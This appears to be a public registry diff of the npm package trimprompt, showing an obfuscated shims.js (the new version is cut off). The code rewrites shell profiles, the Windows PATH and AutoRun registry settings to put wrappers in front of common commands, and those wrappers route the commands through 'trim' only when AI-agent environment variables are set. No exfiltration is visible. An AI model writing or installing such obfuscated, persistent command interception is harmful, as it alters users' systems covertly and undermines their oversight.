trimprompt 1.0.31 → 1.0.32

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/shims.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x570c5c=a0_0x2c83;(function(_0x27041e,_0xdec1e6){const _0x5e0d00=a0_0x2c83,_0x17cb52=_0x27041e();while(!![]){try{const _0x13d250=-parseInt(_0x5e0d00(0x12f))/0x1*(parseInt(_0x5e0d00(0xec))/0x2)+parseInt(_0x5e0d00(0xff))/0x3*(-parseInt(_0x5e0d00(0x11a))/0x4)+parseInt(_0x5e0d00(0x103))/0x5*(-parseInt(_0x5e0d00(0x126))/0x6)+-parseInt(_0x5e0d00(0xb9))/0x7*(parseInt(_0x5e0d00(0xf2))/0x8)+parseInt(_0x5e0d00(0xe9))/0x9+parseInt(_0x5e0d00(0xf6))/0xa+parseInt(_0x5e0d00(0x11b))/0xb*(parseInt(_0x5e0d00(0xb2))/0xc);if(_0x13d250===_0xdec1e6)break;else _0x17cb52['push'](_0x17cb52['shift']());}catch(_0x490489){_0x17cb52['push'](_0x17cb52['shift']());}}}(a0_0x4930,0x83845));var __createBinding=this&&this[a0_0x570c5c(0x102)]||(Object['create']?function(_0x26176a,_0x55258e,_0x3a202c,_0x1d9dc6){const _0x511b60=a0_0x570c5c;if(_0x1d9dc6===undefined)_0x1d9dc6=_0x3a202c;var _0x419a0c=Object[_0x511b60(0x104)](_0x55258e,_0x3a202c);(!_0x419a0c||(_0x511b60(0x114)in _0x419a0c?!_0x55258e['__esModule']:_0x419a0c[_0x511b60(0x101)]||_0x419a0c[_0x511b60(0xce)]))&&(_0x419a0c={'enumerable':!![],'get':function(){return _0x55258e[_0x3a202c];}}),Object[_0x511b60(0x117)](_0x26176a,_0x1d9dc6,_0x419a0c);}:function(_0x466908,_0x57e80b,_0x336281,_0xc2a5c1){if(_0xc2a5c1===undefined)_0xc2a5c1=_0x336281;_0x466908[_0xc2a5c1]=_0x57e80b[_0x336281];}),__setModuleDefault=this&&this[a0_0x570c5c(0xfc)]||(Object[a0_0x570c5c(0xf1)]?function(_0x17b3a8,_0x46ca01){const _0x27d22c=a0_0x570c5c;Object[_0x27d22c(0x117)](_0x17b3a8,_0x27d22c(0x131),{'enumerable':!![],'value':_0x46ca01});}:function(_0x20f7df,_0x19e2fd){const _0x537c73=a0_0x570c5c;_0x20f7df[_0x537c73(0x131)]=_0x19e2fd;}),__importStar=this&&this['__importStar']||(function(){var _0xe5d00e=function(_0x1f6f28){const _0x22048e=a0_0x2c83;return _0xe5d00e=Object[_0x22048e(0x107)]||function(_0x405501){const _0x2d0869=_0x22048e;var _0x2820e8=[];for(var _0x22f662 in _0x405501)if(Object[_0x2d0869(0x132)]['hasOwnProperty'][_0x2d0869(0xfa)](_0x405501,_0x22f662))_0x2820e8[_0x2820e8[_0x2d0869(0xd4)]]=_0x22f662;return _0x2820e8;},_0xe5d00e(_0x1f6f28);};return function(_0x324c05){const _0x237498=a0_0x2c83;if(_0x324c05&&_0x324c05['__esModule'])return _0x324c05;var _0x1f77c3={};if(_0x324c05!=null){for(var _0x2adb35=_0xe5d00e(_0x324c05),_0x423086=0x0;_0x423086<_0x2adb35[_0x237498(0xd4)];_0x423086++)if(_0x2adb35[_0x423086]!==_0x237498(0x131))__createBinding(_0x1f77c3,_0x324c05,_0x2adb35[_0x423086]);}return __setModuleDefault(_0x1f77c3,_0x324c05),_0x1f77c3;};}());Object[a0_0x570c5c(0x117)](exports,a0_0x570c5c(0x128),{'value':!![]}),exports[a0_0x570c5c(0x121)]=installShims,exports[a0_0x570c5c(0xea)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x570c5c(0xe2))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x570c5c(0xfd),'cat',a0_0x570c5c(0x122),a0_0x570c5c(0x106),'rg',a0_0x570c5c(0x124),a0_0x570c5c(0xe3),'gh','glab','cargo','npm',a0_0x570c5c(0xc8),'npx',a0_0x570c5c(0xeb),a0_0x570c5c(0xb7),a0_0x570c5c(0x11f),a0_0x570c5c(0x12b),a0_0x570c5c(0xb4),a0_0x570c5c(0x115),'go',a0_0x570c5c(0xe1)],PROFILE_MARKER=a0_0x570c5c(0xb8);function getExecSync(){const _0x5336d1=a0_0x570c5c;return require(_0x5336d1(0xde))[_0x5336d1(0xc0)];}function getExecFileSync(){const _0x3b863a=a0_0x570c5c;return require(_0x3b863a(0xde))[_0x3b863a(0xdc)];}function ensureProfileContains(_0x1e9ce2,_0x3b8e75,_0x1ce77f){const _0x105609=a0_0x570c5c;try{const _0x5be0a9=path['dirname'](_0x1e9ce2);!fs['existsSync'](_0x5be0a9)&&fs[_0x105609(0x116)](_0x5be0a9,{'recursive':!![]});if(fs[_0x105609(0xaf)](_0x1e9ce2)){const _0x48e7a1=fs['readFileSync'](_0x1e9ce2,_0x105609(0xb6));if(_0x48e7a1['includes'](_0x3b8e75))return;fs[_0x105609(0xb5)](_0x1e9ce2,_0x1ce77f,_0x105609(0xb6));}else fs['writeFileSync'](_0x1e9ce2,_0x1ce77f,'utf8');}catch{}}function removeProfileBlock(_0x48a2b3,_0x29698e){const _0x2798c8=a0_0x570c5c;try{if(!fs[_0x2798c8(0xaf)](_0x48a2b3))return;const _0x13e558=fs['readFileSync'](_0x48a2b3,'utf8');if(!_0x13e558[_0x2798c8(0x12e)](_0x29698e))return;const _0xa5b92a=_0x13e558['split']('\x0a'),_0x4134e5=[];let _0x35c148=![];for(let _0x5accdd=0x0;_0x5accdd<_0xa5b92a['length'];_0x5accdd++){if(_0xa5b92a[_0x5accdd][_0x2798c8(0x12e)](_0x29698e)){_0x35c148=!![];continue;}if(_0x35c148){_0x35c148=![];continue;}_0x4134e5['push'](_0xa5b92a[_0x5accdd]);}const _0x233f61=_0x4134e5[_0x2798c8(0xbe)]('\x0a')[_0x2798c8(0x10d)](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x48a2b3,_0x233f61,_0x2798c8(0xb6));}catch{}}function a0_0x2c83(_0x192a5c,_0x1c8c88){const _0x49301b=a0_0x4930();return a0_0x2c83=function(_0x2c831d,_0x34ffe6){_0x2c831d=_0x2c831d-0xaf;let _0x151ede=_0x49301b[_0x2c831d];return _0x151ede;},a0_0x2c83(_0x192a5c,_0x1c8c88);}function a0_0x4930(){const _0x30b45c=['execFileSync','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','child_process','\x20\x22$@\x22\x0afi\x0a','.ps1','find','path','git','\x20%*','\x20\x22$@\x22;\x20fi\x0aelse\x0a\x20\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','if\x20\x22%AI_AGENT%\x22==\x22\x22\x20if\x20\x22%CURSOR_AGENT%\x22==\x22\x22\x20if\x20\x22%CLAUDECODE%\x22==\x22\x22\x20if\x20\x22%CLAUDE_CODE%\x22==\x22\x22\x20if\x20\x22%ANTIGRAVITY_AGENT%\x22==\x22\x22\x20if\x20\x22%GEMINI_CLI%\x22==\x22\x22\x20if\x20\x22%TRIMPROMPT_ACTIVE%\x22==\x22\x22\x20(','unlinkSync','7473528mqvAYc','uninstallShims','yarn','58452hbBZjk','\x20&\x20','$PROFILE.CurrentUserAllHosts','powershell.exe','readdirSync','create','3768rjIXIC','rmdirSync','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','trim.cmd','10299890cHhJcC','APPDATA','.bashrc','.cmd','call','Remove-ItemProperty\x20-Path\x20\x27','__setModuleDefault','tree','homedir','114FhCcbM','@echo\x20off','writable','__createBinding','56495mAOilF','getOwnPropertyDescriptor','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','grep','getOwnPropertyNames',':$PATH\x22','#!/bin/sh\x0aif\x20[\x20-n\x20\x22$AI_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CURSOR_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDECODE\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDE_CODE\x22\x20]\x20||\x20[\x20-n\x20\x22$ANTIGRAVITY_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$GEMINI_CLI\x22\x20]\x20||\x20[\x20-n\x20\x22$TRIMPROMPT_ACTIVE\x22\x20];\x20then\x0a\x20\x20if\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','Failed\x20to\x20install\x20shims:\x20','pipe','-NoProfile','replace',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd','.bash_profile','\x20@args\x0a}\x0a','\x20\x20\x20\x20\x20\x20[IMPORTANT]\x20TrimPrompt\x20successfully\x20installed!','.trimprompt','get','pip3','mkdirSync','defineProperty','\x20\x20set\x20\x22PATH=%PATH:','.zshrc','53764ySjJff','11cCvwcM','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','================================================================================','docker','pwsh','installShims','read','map','ruff',')\x20else\x20(','6JQglhH','shims','__esModule','\x20\x20\x20👉\x20Please\x20restart\x20your\x20terminal\x20window\x20or\x20AI\x20editor\x20(Cursor/Claude)','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','pytest',':$PATH\x22\x0a','TrimPrompt\x20successfully\x20installed\x20for\x20','includes','30HQXkvg','\x20\x20exit\x20/b\x20%ERRORLEVEL%','default','prototype','\x20@args\x20}\x20else\x20{\x20&\x20','\x0aexport\x20PATH=\x22','existsSync','trim.ps1','\x20\x20\x20\x20\x20\x20for\x20the\x20installation\x20to\x20take\x20effect.','10862004AGEVAA','\x27,\x20\x27User\x27)','pip','appendFileSync','utf8','kubectl','TrimPrompt\x20Shims\x20PATH','12306fFVBWv','message','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','\x0a#\x20','ignore','join','\x0a$env:PATH\x20=\x20\x22','execSync','if\x20exist\x20\x22','npm','writeFileSync','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','split','\x22\x20(','\x20-NoProfile\x20-Command\x20\x22','pnpm','toLowerCase','.profile','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','powershell\x20-NoProfile\x20-Command\x20\x22','env','configurable','export\x20PATH=\x22','push','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','trim','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','length','win32','if\x20($env:AI_AGENT\x20-or\x20$env:CURSOR_AGENT\x20-or\x20$env:CLAUDECODE\x20-or\x20$env:CLAUDE_CODE\x20-or\x20$env:ANTIGRAVITY_AGENT\x20-or\x20$env:GEMINI_CLI\x20-or\x20$env:TRIMPROMPT_ACTIVE)\x20{\x0a\x20\x20if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20','platform','-Command','filter',';=%\x22',':||g\x22)\x0a\x20\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20'];a0_0x4930=function(){return _0x30b45c;};return a0_0x4930();}function collectPowerShellProfiles(){const _0xbe34c6=a0_0x570c5c,_0x82fdff=getExecSync(),_0x233ce0=[],_0x1202c2=[['powershell','$PROFILE.CurrentUserCurrentHost'],['powershell',_0xbe34c6(0xee)]];try{_0x82fdff(_0xbe34c6(0x11c),{'stdio':_0xbe34c6(0xbd)}),_0x1202c2[_0xbe34c6(0xd0)]([_0xbe34c6(0x120),_0xbe34c6(0xee)]);}catch{}for(const [_0x3bc370,_0x5190d7]of _0x1202c2){try{const _0x223f1f=_0x82fdff(_0x3bc370+_0xbe34c6(0xc7)+_0x5190d7+'\x22',{'encoding':_0xbe34c6(0xb6)})[_0xbe34c6(0xd2)]();_0x223f1f&&!_0x233ce0['some'](_0x373387=>_0x373387['toLowerCase']()===_0x223f1f[_0xbe34c6(0xc9)]())&&_0x233ce0['push'](_0x223f1f);}catch{}}return _0x233ce0;}function getBashProfilesWindows(){const _0x5294c2=a0_0x570c5c,_0x1e4ef2=os[_0x5294c2(0xfe)]();return[_0x5294c2(0xf8),'.bash_profile'][_0x5294c2(0x123)](_0x4ddebc=>path['join'](_0x1e4ef2,_0x4ddebc));}function getBroadcastCommand(){const _0x5064e7=a0_0x570c5c;return _0x5064e7(0xcb);}function installShims(){const _0x475982=a0_0x570c5c,_0x5477b1=path[_0x475982(0xbe)](os[_0x475982(0xfe)](),_0x475982(0x113),_0x475982(0x127));try{!fs['existsSync'](_0x5477b1)&&fs[_0x475982(0x116)](_0x5477b1,{'recursive':!![]});const _0xd196c1=os[_0x475982(0xd7)]()===_0x475982(0xd5);for(const _0x418cc2 of SHIMMED_COMMANDS){if(_0xd196c1){const _0x3d64cd=path['join'](_0x5477b1,_0x418cc2+_0x475982(0xf9)),_0x1eb99e=process[_0x475982(0xcd)][_0x475982(0xf7)]?path[_0x475982(0xbe)](process[_0x475982(0xcd)][_0x475982(0xf7)],_0x475982(0xc2)):'',_0xb41b02=_0x1eb99e?path['join'](_0x1eb99e,_0x475982(0xf5)):_0x475982(0x10f),_0x16244f=[_0x475982(0x100),_0x475982(0xe7),_0x475982(0x118)+_0x5477b1+_0x475982(0xda),'\x20\x20'+_0x418cc2+_0x475982(0xe4),_0x475982(0x130),')',_0x475982(0xc1)+_0xb41b02+_0x475982(0xc6),'\x20\x20trim\x20'+_0x418cc2+_0x475982(0xe4),_0x475982(0x125),_0x475982(0x118)+_0x5477b1+_0x475982(0xda),'\x20\x20'+_0x418cc2+_0x475982(0xe4),')'][_0x475982(0xbe)]('\x0d\x0a')+'\x0d\x0a';fs['writeFileSync'](_0x3d64cd,_0x16244f,_0x475982(0xb6));const _0x14f6c9=path[_0x475982(0xbe)](_0x5477b1,_0x418cc2+_0x475982(0xe0)),_0x739d5=_0x475982(0xd6)+_0x418cc2+_0x475982(0x133)+_0x418cc2+'\x20@args\x20}\x0a}\x20else\x20{\x0a\x20\x20&\x20'+_0x418cc2+_0x475982(0x111);fs[_0x475982(0xc3)](_0x14f6c9,_0x739d5,_0x475982(0xb6));const _0x124940=path[_0x475982(0xbe)](_0x5477b1,_0x418cc2),_0x41aca7=_0x5477b1['replace'](/\\/g,'/')[_0x475982(0x10d)](/^([A-Za-z]):/,(_0x2157f2,_0x5d7fe0)=>'/'+_0x5d7fe0[_0x475982(0xc9)]()),_0x11d943=_0x475982(0x109)+_0x418cc2+'\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|'+_0x41aca7+_0x475982(0x10e)+_0x418cc2+_0x475982(0xe5)+_0x41aca7+_0x475982(0xdb)+_0x418cc2+_0x475982(0xdf);fs[_0x475982(0xc3)](_0x124940,_0x11d943,_0x475982(0xb6));}else{const _0x2e3919=path[_0x475982(0xbe)](_0x5477b1,_0x418cc2),_0x192151=_0x475982(0xe6)+_0x418cc2+_0x475982(0xbb)+_0x418cc2+'\x20\x22$@\x22;\x20fi\x0a';fs[_0x475982(0xc3)](_0x2e3919,_0x192151,_0x475982(0xb6)),fs['chmodSync'](_0x2e3919,'755');}}let _0x56059a=![],_0x171cee='';if(_0xd196c1)try{const _0x2662b6=getExecSync(),_0x1fb50a=_0x475982(0xbc)+PROFILE_MARKER+_0x475982(0xbf)+_0x5477b1+';\x22\x20+\x20$env:PATH\x0a',_0x2a8228=collectPowerShellProfiles();for(const _0x3399ae of _0x2a8228){ensureProfileContains(_0x3399ae,_0x5477b1,_0x1fb50a);}try{const _0x5b50f0=_0x5477b1[_0x475982(0x10d)](/\\/g,'/')[_0x475982(0x10d)](/^([A-Za-z]):/,(_0x2992b3,_0x13abef)=>'/'+_0x13abef[_0x475982(0xc9)]()),_0x18744d=_0x475982(0xbc)+PROFILE_MARKER+_0x475982(0x134)+_0x5b50f0+':$PATH\x22\x0a',_0x352bfb=getBashProfilesWindows();let _0x504ca6=![];for(const _0x37ce7a of _0x352bfb){fs[_0x475982(0xaf)](_0x37ce7a)&&(ensureProfileContains(_0x37ce7a,_0x5b50f0,_0x18744d),_0x504ca6=!![]);}!_0x504ca6&&ensureProfileContains(_0x352bfb[0x0],_0x5b50f0,_0x18744d);}catch{}const _0x1f422a='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x1fbc4e=_0x2662b6('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x1f422a+'\x22',{'encoding':_0x475982(0xb6),'stdio':[_0x475982(0x10b),'pipe',_0x475982(0xbd)]})[_0x475982(0xd2)]();if(!_0x1fbc4e['includes'](_0x5477b1)){const _0x44307d=_0x5477b1+';'+_0x1fbc4e,_0x2c50e1=_0x44307d[_0x475982(0x10d)](/'/g,'\x27\x27'),_0x35c7a0=_0x475982(0x12a)+_0x2c50e1+_0x475982(0xb3);_0x2662b6('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x35c7a0+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x475982(0xbd)});}const _0x45640c=path[_0x475982(0xbe)](process[_0x475982(0xcd)][_0x475982(0xf7)]||'','npm',_0x475982(0xb0));if(fs['existsSync'](_0x45640c))try{fs[_0x475982(0xe8)](_0x45640c);}catch{}_0x56059a=!![];}catch(_0x2738d1){_0x171cee=_0x475982(0xdd)+_0x5477b1;}else try{const _0x1527ae=_0x475982(0xcf)+_0x5477b1+_0x475982(0x12c),_0x344a6d=os[_0x475982(0xfe)](),_0x54d9bf=['.bashrc','.zshrc',_0x475982(0x110),_0x475982(0xca)];let _0x41da55=![];for(const _0x2c8f90 of _0x54d9bf){const _0xc90ec5=path[_0x475982(0xbe)](_0x344a6d,_0x2c8f90);fs['existsSync'](_0xc90ec5)&&(ensureProfileContains(_0xc90ec5,_0x5477b1,_0x475982(0xbc)+PROFILE_MARKER+'\x0a'+_0x1527ae),_0x41da55=!![]);}if(!_0x41da55){const _0x2bc575=path[_0x475982(0xbe)](_0x344a6d,_0x475982(0xf8));ensureProfileContains(_0x2bc575,_0x5477b1,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x1527ae);}_0x56059a=!![];}catch(_0x3f4c50){_0x171cee=_0x475982(0x11d)+_0x5477b1+_0x475982(0x108);}const _0x54abb8=[_0x475982(0x11e),_0x475982(0x112),'================================================================================',_0x475982(0x129),_0x475982(0xb1),_0x475982(0x11e)][_0x475982(0xbe)]('\x0a'),_0x2c6306=_0x56059a?_0x54abb8:_0x475982(0x12d)+SHIMMED_COMMANDS[_0x475982(0xd4)]+'\x20commands.\x0a\x0a[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20'+_0x171cee;return{'success':!![],'pathDir':_0x5477b1,'message':_0x2c6306};}catch(_0x435361){return{'success':![],'pathDir':_0x5477b1,'message':_0x475982(0x10a)+_0x435361['message']};}}function uninstallShims(){const _0x44b785=a0_0x570c5c,_0x524806=path[_0x44b785(0xbe)](os[_0x44b785(0xfe)](),'.trimprompt','shims'),_0x349521=os[_0x44b785(0xd7)]()==='win32';try{if(_0x349521){const _0x498d7f=getExecSync();try{const _0x3f03f0=getExecFileSync(),_0xe106ec=_0x44b785(0x105),_0xf8e9db=_0x44b785(0xd3)+_0xe106ec+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}',_0x24ae76=_0x3f03f0(_0x44b785(0xef),[_0x44b785(0x10c),_0x44b785(0xd8),_0xf8e9db],{'encoding':'utf8','stdio':['pipe','pipe',_0x44b785(0xbd)]})[_0x44b785(0xd2)]();if(_0x24ae76['includes'](_0x524806)){const _0x3784bb=_0x24ae76['split'](_0x44b785(0xed))[_0x44b785(0xd9)](_0x91ca79=>!_0x91ca79[_0x44b785(0x12e)](_0x524806));if(_0x3784bb[_0x44b785(0xd4)]===0x0){const _0x2fa05d=_0x44b785(0xfb)+_0xe106ec+_0x44b785(0xd1);_0x3f03f0('powershell.exe',['-NoProfile','-Command',_0x2fa05d],{'stdio':_0x44b785(0xbd)});}else{const _0x302dbd=_0x3784bb[_0x44b785(0xbe)]('\x20&\x20'),_0x33cec3='Set-ItemProperty\x20-Path\x20\x27'+_0xe106ec+_0x44b785(0xc4)+_0x302dbd+'\x27';_0x3f03f0(_0x44b785(0xef),[_0x44b785(0x10c),_0x44b785(0xd8),_0x33cec3],{'stdio':_0x44b785(0xbd)});}}}catch{}try{const _0x4b2d4f=collectPowerShellProfiles();for(const _0xc5ac5f of _0x4b2d4f){removeProfileBlock(_0xc5ac5f,PROFILE_MARKER);}}catch{}try{for(const _0x3df17e of getBashProfilesWindows()){removeProfileBlock(_0x3df17e,PROFILE_MARKER);}}catch{}try{const _0x2848fa='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x4f993f=_0x498d7f(_0x44b785(0xcc)+_0x2848fa+'\x22',{'encoding':_0x44b785(0xb6),'stdio':[_0x44b785(0x10b),_0x44b785(0x10b),'ignore']})[_0x44b785(0xd2)]();if(_0x4f993f[_0x44b785(0x12e)](_0x524806)){const _0x140e70=_0x4f993f[_0x44b785(0xc5)](';')[_0x44b785(0xd9)](_0x58af69=>_0x58af69['trim']()['toLowerCase']()!==_0x524806[_0x44b785(0xc9)]())[_0x44b785(0xbe)](';'),_0x41c1e9=_0x140e70['replace'](/'/g,'\x27\x27'),_0xdeda26=_0x44b785(0x12a)+_0x41c1e9+_0x44b785(0xb3);_0x498d7f('powershell\x20-NoProfile\x20-Command\x20\x22'+_0xdeda26+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x44b785(0xbd)});}}catch{}}else{const _0x57fa1d=os[_0x44b785(0xfe)](),_0x392e81=[_0x44b785(0xf8),_0x44b785(0x119),_0x44b785(0x110),_0x44b785(0xca)];for(const _0x109fd8 of _0x392e81){removeProfileBlock(path['join'](_0x57fa1d,_0x109fd8),PROFILE_MARKER);}}if(fs['existsSync'](_0x524806)){const _0x30c567=fs[_0x44b785(0xf0)](_0x524806);for(const _0x2f396a of _0x30c567){fs[_0x44b785(0xe8)](path[_0x44b785(0xbe)](_0x524806,_0x2f396a));}fs[_0x44b785(0xf3)](_0x524806);}return{'success':!![],'message':_0x44b785(0xf4)};}catch(_0x35a495){return{'success':![],'message':'Failed\x20to\x20uninstall\x20shims:\x20'+_0x35a495[_0x44b785(0xba)]};}}
1
+ 'use strict';const a0_0x27503b=a0_0x48ae;(function(_0x38b2bf,_0x486d3b){const _0xa38890=a0_0x48ae,_0x17169c=_0x38b2bf();while(!![]){try{const _0x5b8edf=parseInt(_0xa38890(0x1e2))/0x1+parseInt(_0xa38890(0x1a7))/0x2*(parseInt(_0xa38890(0x174))/0x3)+parseInt(_0xa38890(0x188))/0x4*(-parseInt(_0xa38890(0x17c))/0x5)+-parseInt(_0xa38890(0x186))/0x6*(parseInt(_0xa38890(0x185))/0x7)+parseInt(_0xa38890(0x1b5))/0x8+parseInt(_0xa38890(0x1bd))/0x9*(-parseInt(_0xa38890(0x1b6))/0xa)+parseInt(_0xa38890(0x1a5))/0xb*(-parseInt(_0xa38890(0x196))/0xc);if(_0x5b8edf===_0x486d3b)break;else _0x17169c['push'](_0x17169c['shift']());}catch(_0x3d0f02){_0x17169c['push'](_0x17169c['shift']());}}}(a0_0x2644,0x3f351));var __createBinding=this&&this[a0_0x27503b(0x1c9)]||(Object[a0_0x27503b(0x165)]?function(_0x1a7cba,_0x59788c,_0x2b76a4,_0x518b8c){const _0x5c1744=a0_0x27503b;if(_0x518b8c===undefined)_0x518b8c=_0x2b76a4;var _0x32857a=Object[_0x5c1744(0x16a)](_0x59788c,_0x2b76a4);(!_0x32857a||('get'in _0x32857a?!_0x59788c[_0x5c1744(0x183)]:_0x32857a[_0x5c1744(0x15b)]||_0x32857a[_0x5c1744(0x15e)]))&&(_0x32857a={'enumerable':!![],'get':function(){return _0x59788c[_0x2b76a4];}}),Object[_0x5c1744(0x17b)](_0x1a7cba,_0x518b8c,_0x32857a);}:function(_0x824e6c,_0x8dfa49,_0x423449,_0x51466d){if(_0x51466d===undefined)_0x51466d=_0x423449;_0x824e6c[_0x51466d]=_0x8dfa49[_0x423449];}),__setModuleDefault=this&&this[a0_0x27503b(0x189)]||(Object[a0_0x27503b(0x165)]?function(_0x31b024,_0x29f887){const _0x2cabdb=a0_0x27503b;Object['defineProperty'](_0x31b024,_0x2cabdb(0x184),{'enumerable':!![],'value':_0x29f887});}:function(_0x3f0937,_0x504169){const _0x1871fd=a0_0x27503b;_0x3f0937[_0x1871fd(0x184)]=_0x504169;}),__importStar=this&&this[a0_0x27503b(0x173)]||(function(){var _0x236a8a=function(_0x12df60){return _0x236a8a=Object['getOwnPropertyNames']||function(_0x506c28){const _0x529033=a0_0x48ae;var _0x40a327=[];for(var _0x53ecab in _0x506c28)if(Object[_0x529033(0x1d2)][_0x529033(0x1a4)]['call'](_0x506c28,_0x53ecab))_0x40a327[_0x40a327['length']]=_0x53ecab;return _0x40a327;},_0x236a8a(_0x12df60);};return function(_0x10a9c5){const _0x13104d=a0_0x48ae;if(_0x10a9c5&&_0x10a9c5['__esModule'])return _0x10a9c5;var _0x1bf803={};if(_0x10a9c5!=null){for(var _0x5ef00c=_0x236a8a(_0x10a9c5),_0x11f1b1=0x0;_0x11f1b1<_0x5ef00c['length'];_0x11f1b1++)if(_0x5ef00c[_0x11f1b1]!==_0x13104d(0x184))__createBinding(_0x1bf803,_0x10a9c5,_0x5ef00c[_0x11f1b1]);}return __setModuleDefault(_0x1bf803,_0x10a9c5),_0x1bf803;};}());Object[a0_0x27503b(0x17b)](exports,a0_0x27503b(0x183),{'value':!![]}),exports[a0_0x27503b(0x162)]=installShims,exports['uninstallShims']=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x27503b(0x1cc))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x27503b(0x16e),a0_0x27503b(0x1d3),a0_0x27503b(0x163),a0_0x27503b(0x1b1),'rg',a0_0x27503b(0x19f),a0_0x27503b(0x1d1),'gh',a0_0x27503b(0x199),a0_0x27503b(0x161),a0_0x27503b(0x19b),a0_0x27503b(0x1cb),a0_0x27503b(0x192),a0_0x27503b(0x1ad),a0_0x27503b(0x1de),a0_0x27503b(0x17e),a0_0x27503b(0x1a0),a0_0x27503b(0x190),'pip3','go','find'],PROFILE_MARKER=a0_0x27503b(0x1c3);function getExecSync(){const _0x52814a=a0_0x27503b;return require(_0x52814a(0x1dc))[_0x52814a(0x171)];}function getExecFileSync(){const _0x5b8925=a0_0x27503b;return require('child_process')[_0x5b8925(0x16c)];}function ensureProfileContains(_0x173bde,_0x3676a1,_0x20b195){const _0x4e55e7=a0_0x27503b;try{const _0x1e360f=path[_0x4e55e7(0x194)](_0x173bde);!fs['existsSync'](_0x1e360f)&&fs[_0x4e55e7(0x15d)](_0x1e360f,{'recursive':!![]});if(fs[_0x4e55e7(0x16d)](_0x173bde)){const _0x470f82=fs[_0x4e55e7(0x1b3)](_0x173bde,_0x4e55e7(0x1d0));if(_0x470f82[_0x4e55e7(0x1dd)](_0x3676a1))return;fs[_0x4e55e7(0x16b)](_0x173bde,_0x20b195,_0x4e55e7(0x1d0));}else fs[_0x4e55e7(0x1ab)](_0x173bde,_0x20b195,_0x4e55e7(0x1d0));}catch{}}function removeProfileBlock(_0x4e28fe,_0x1bad8a){const _0xdfe60e=a0_0x27503b;try{if(!fs[_0xdfe60e(0x16d)](_0x4e28fe))return;const _0x2477a3=fs[_0xdfe60e(0x1b3)](_0x4e28fe,'utf8');if(!_0x2477a3[_0xdfe60e(0x1dd)](_0x1bad8a))return;const _0x387e95=_0x2477a3[_0xdfe60e(0x176)]('\x0a'),_0x5292ab=[];let _0x469e67=![];for(let _0x157fd0=0x0;_0x157fd0<_0x387e95[_0xdfe60e(0x1b2)];_0x157fd0++){if(_0x387e95[_0x157fd0][_0xdfe60e(0x1dd)](_0x1bad8a)){_0x469e67=!![];continue;}if(_0x469e67){_0x469e67=![];continue;}_0x5292ab[_0xdfe60e(0x19a)](_0x387e95[_0x157fd0]);}const 